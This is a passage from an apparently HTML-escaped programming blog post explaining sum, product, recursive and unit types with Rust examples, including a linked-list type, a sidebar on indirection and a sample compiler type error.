&lt;/span&gt;dogs: &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;cats: &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That is, no dogs and no cats. A person with, say, 4 dogs and 3 cats would be:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Pets&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;dogs: &lt;span style=&#34;color:#00f&#34;&gt;4&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;cats: &lt;span style=&#34;color:#00f&#34;&gt;3&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Consider the number of possible values of the Pets type. There are 2^64 possible values of BoundedPositiveInteger, and here there are two BoundedPositiveIntegers, neither dependent on the other. Simple combinatorics tells us that there are 2^64 * 2^64 possible permutations; the &lt;em&gt;product&lt;/em&gt; of the number of values of the two consituent types.&lt;/p&gt;&#xA;&lt;h2 id=&#34;combining-the-combinations&#34;&gt;Combining the Combinations&lt;/h2&gt;&#xA;&lt;p&gt;Product and sum types can be combined to create any type. For instance, we could create a signed integer type, based on our existing BoundedPositiveInteger:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; BoundedInteger&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;isNegative: Boolean,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;absoluteValue: BoundedPositiveInteger,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This would have as many values as BoundedPositiveInteger (2^64) times as many values as Boolean (2); in other words, 2^65 values.&lt;/p&gt;&#xA;&lt;h2 id=&#34;more-exotic-types&#34;&gt;More Exotic Types&lt;/h2&gt;&#xA;&lt;p&gt;So far, we&amp;rsquo;ve talked about types with sets of values with cardinality between 2 (Boolean) and 2^65 (BoundedInteger). Most &lt;em&gt;useful&lt;/em&gt; types will have sizes like this; however, there are uses for types with both infinite cardinality and only one possible value.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;goat svg-container &#34;&gt;&#xA;  &#xA;    &lt;svg&#xA;      xmlns=&#34;http://www.w3.org/2000/svg&#34;&#xA;      font-family=&#34;Menlo,Lucida Console,monospace&#34;&#xA;      &#xA;        viewBox=&#34;0 0 288 169&#34;&#xA;      &gt;&#xA;      &lt;g transform=&#39;translate(8,16)&#39;&gt;&#xA;&lt;path d=&#39;M 0,0 L 272,0&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;&#xA;&lt;path d=&#39;M 56,16 L 256,16&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;&#xA;&lt;path d=&#39;M 112,32 L 240,32&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;&#xA;&lt;path d=&#39;M 176,48 L 224,48&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;&#xA;&lt;path d=&#39;M 176,80 L 224,80&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;&#xA;&lt;path d=&#39;M 112,112 L 240,112&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;&#xA;&lt;path d=&#39;M 56,128 L 256,128&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;&#xA;&lt;path d=&#39;M 0,144 L 272,144&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;&#xA;&lt;path d=&#39;M 0,0 L 0,144&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;&#xA;&lt;path d=&#39;M 56,16 L 56,128&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;&#xA;&lt;path d=&#39;M 112,32 L 112,112&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;&#xA;&lt;path d=&#39;M 176,48 L 176,80&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;&#xA;&lt;path d=&#39;M 224,48 L 224,80&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;&#xA;&lt;path d=&#39;M 240,32 L 240,112&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;&#xA;&lt;path d=&#39;M 256,16 L 256,128&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;&#xA;&lt;path d=&#39;M 272,0 L 272,144&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;&#xA;&lt;text text-anchor=&#39;middle&#39; x=&#39;16&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;I&lt;/text&gt;&#xA;&lt;text text-anchor=&#39;middle&#39; x=&#39;24&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;L&lt;/text&gt;&#xA;&lt;text text-anchor=&#39;middle&#39; x=&#39;24&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;1&lt;/text&gt;&#xA;&lt;text text-anchor=&#39;middle&#39; x=&#39;32&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;N&lt;/text&gt;&#xA;&lt;text text-anchor=&#39;middle&#39; x=&#39;72&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;I&lt;/text&gt;&#xA;&lt;text text-anchor=&#39;middle&#39; x=&#39;80&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;L&lt;/text&gt;&#xA;&lt;text text-anchor=&#39;middle&#39; x=&#39;80&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;2&lt;/text&gt;&#xA;&lt;text text-anchor=&#39;middle&#39; x=&#39;88&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;N&lt;/text&gt;&#xA;&lt;text text-anchor=&#39;middle&#39; x=&#39;136&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;I&lt;/text&gt;&#xA;&lt;text text-anchor=&#39;middle&#39; x=&#39;144&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;L&lt;/text&gt;&#xA;&lt;text text-anchor=&#39;middle&#39; x=&#39;144&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;3&lt;/text&gt;&#xA;&lt;text text-anchor=&#39;middle&#39; x=&#39;152&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;N&lt;/text&gt;&#xA;&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;x&lt;/text&gt;&#xA;&lt;/g&gt;&#xA;&#xA;    &lt;/svg&gt;&#xA;  &#xA;&lt;/div&gt;&#xA;&lt;h3 id=&#34;infinitely-large-types&#34;&gt;Infinitely Large Types&lt;/h3&gt;&#xA;&lt;p&gt;We can use the combination of sum types and product types in another way: to define lists. Let&amp;rsquo;s say we wanted a list of numbers; perhaps winning lottery numbers. For this, we need two types:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; IntegerListNode&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;value: BoundedInteger,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;link: IntegerListLink,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;enum&lt;/span&gt; IntegerListLink&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;HasNextNode(IntegerListNode),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;NoNextNode,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Each node holds a link which points to either another node (the next in the list) or to nothing (signifying the end of the list). We could construct a list and then look at each of its elements in sequence. Writing such a list out is a bit daunting; The list 1, 2, 3 would read, in full:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;IntegerListNode&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;value: &lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;link: HasNextNode(&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;IntegerListNode&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;value: &lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;link: HasNextNode(&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;IntegerListNode&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                    &lt;/span&gt;value: &lt;span style=&#34;color:#00f&#34;&gt;3&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                    &lt;/span&gt;link: NoNextNode,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We do run into a bit of a problem, though, when looking at the size of this type. Clearly, the IntegerListNode type has as many possible values as a BoundedInteger times as many possible values as an IntegerListLink. We know that the BoundedInteger type has 2^65 values, but how many does IntegerListLink have? Well, it&amp;rsquo;s the sum of 1 (for NoNextNode) plus&amp;hellip; however many possible values IntegerListNode has! This list type is a type with infinitely many possible values, because the nesting of nodes and links can go on for arbitrarily long.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Sidebar: Representing Infinite Types in Real Computers&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The property just described actually causes the Rust compiler (which sadly must exist in the real world) to reject this type as invalid, because it cannot generate a representation that would fit into a computer&amp;rsquo;s memory. Because each node contains all subsequent nodes, and because one of the things that makes Rust programs fast is that values are, by default, allocated all at once, the compiler would have to ask the computer to allocate the &lt;em&gt;maximum number of nodes that could ever exist&lt;/em&gt;. Since we didn&amp;rsquo;t introduce any limit to the number of nodes, that would require an infinite amount of memory. This is where &lt;em&gt;indirection&lt;/em&gt; via pointers comes in; see the Rust Book&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; for more info.&lt;/p&gt;&#xA;&lt;p&gt;Any programming language that puts values on the stack by default will have this problem; for instance, C and Rust will require explicit indirection, while e.g. Python and Java do it for you, at a bit of a speed cost.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s important to remember that while the current Rust &lt;em&gt;implementation&lt;/em&gt; doesn&amp;rsquo;t like this type, there&amp;rsquo;s no reason that Rust as a &lt;em&gt;language&lt;/em&gt; can&amp;rsquo;t handle it. It&amp;rsquo;s a very useful type, and a good logical description of how linked lists work, even though we have to add some incantations to get them to work in the real world.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;zero-sized-or-single-value-types&#34;&gt;Zero Sized or Single Value Types&lt;/h3&gt;&#xA;&lt;p&gt;One thing that&amp;rsquo;s interesting to note is that we have a bit of a discrepency between two kinds of enumeration type options. Some of them have other types associated with them, and some don&amp;rsquo;t. Recall our type MovementInstruction:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;enum&lt;/span&gt; MovementInstruction&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;Go(StreetDirection),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;NoGo,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is actually a simplification of the &amp;ldquo;real&amp;rdquo; types here. NoGo technically &amp;ldquo;contains&amp;rdquo; a value of what we call the &amp;ldquo;unit type&amp;rdquo;, which we denote () or ○. Values of this type can only have one value; the unit value, also denoted () or ○. So, we can re-write this type:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;enum&lt;/span&gt; MovementInstruction&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;Go(StreetDirection),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;NoGo(()),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can see that this has a size of 0: there is only one possible value, so whenever a value with this type appears, we know what the value is. We also can&amp;rsquo;t do anything at all with the unit value, meaning that we can&amp;rsquo;t do anything with variables of the unit type.&lt;/p&gt;&#xA;&lt;p&gt;However, the unit type &lt;em&gt;can&lt;/em&gt; be useful for conveying information to the compiler, or to help the compiler figure out when the programmer has made a mistake. For instance, in Rust, we say that things which return nothing (for instance, &lt;code&gt;if something { end_the_world(); }&lt;/code&gt;) actually return the unit value. This gives us errors like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;error[E0308]: mismatched&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;types&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;--&amp;gt; test.rs:&lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;:&lt;span style=&#34;color:#00f&#34;&gt;24&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;|&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;|&lt;span style=&#34;color:#bbb&#34;&gt;   &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; something()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;bool&lt;/span&gt; {&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;|&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;________________________^&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;|&lt;span style=&#34;color:#bbb&#34;&gt;     &lt;/span&gt;println!(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;This doesn&amp;#39;t return anything!&amp;#34;&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;4&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;|_^&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;expected&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;bool&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;found&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;()&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;|&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;note: expected&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;bool&lt;/span&gt;&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;             &lt;/span&gt;found&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;`&lt;/span&gt;()&lt;span style=&#34;color:#a61717;background-color:#e3d2d2&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;recap--further-reading&#34;&gt;Recap &amp;amp; Further Reading&lt;/h2&gt;&#xA;&lt;p&gt;It&amp;rsquo;s been a long journey. We&amp;rsquo;ve gone from nothing, through finite lists of possible values (enumerations/sum types), to combinations of those lists (structured types/product types) and, finally, types with only one possible value and those with 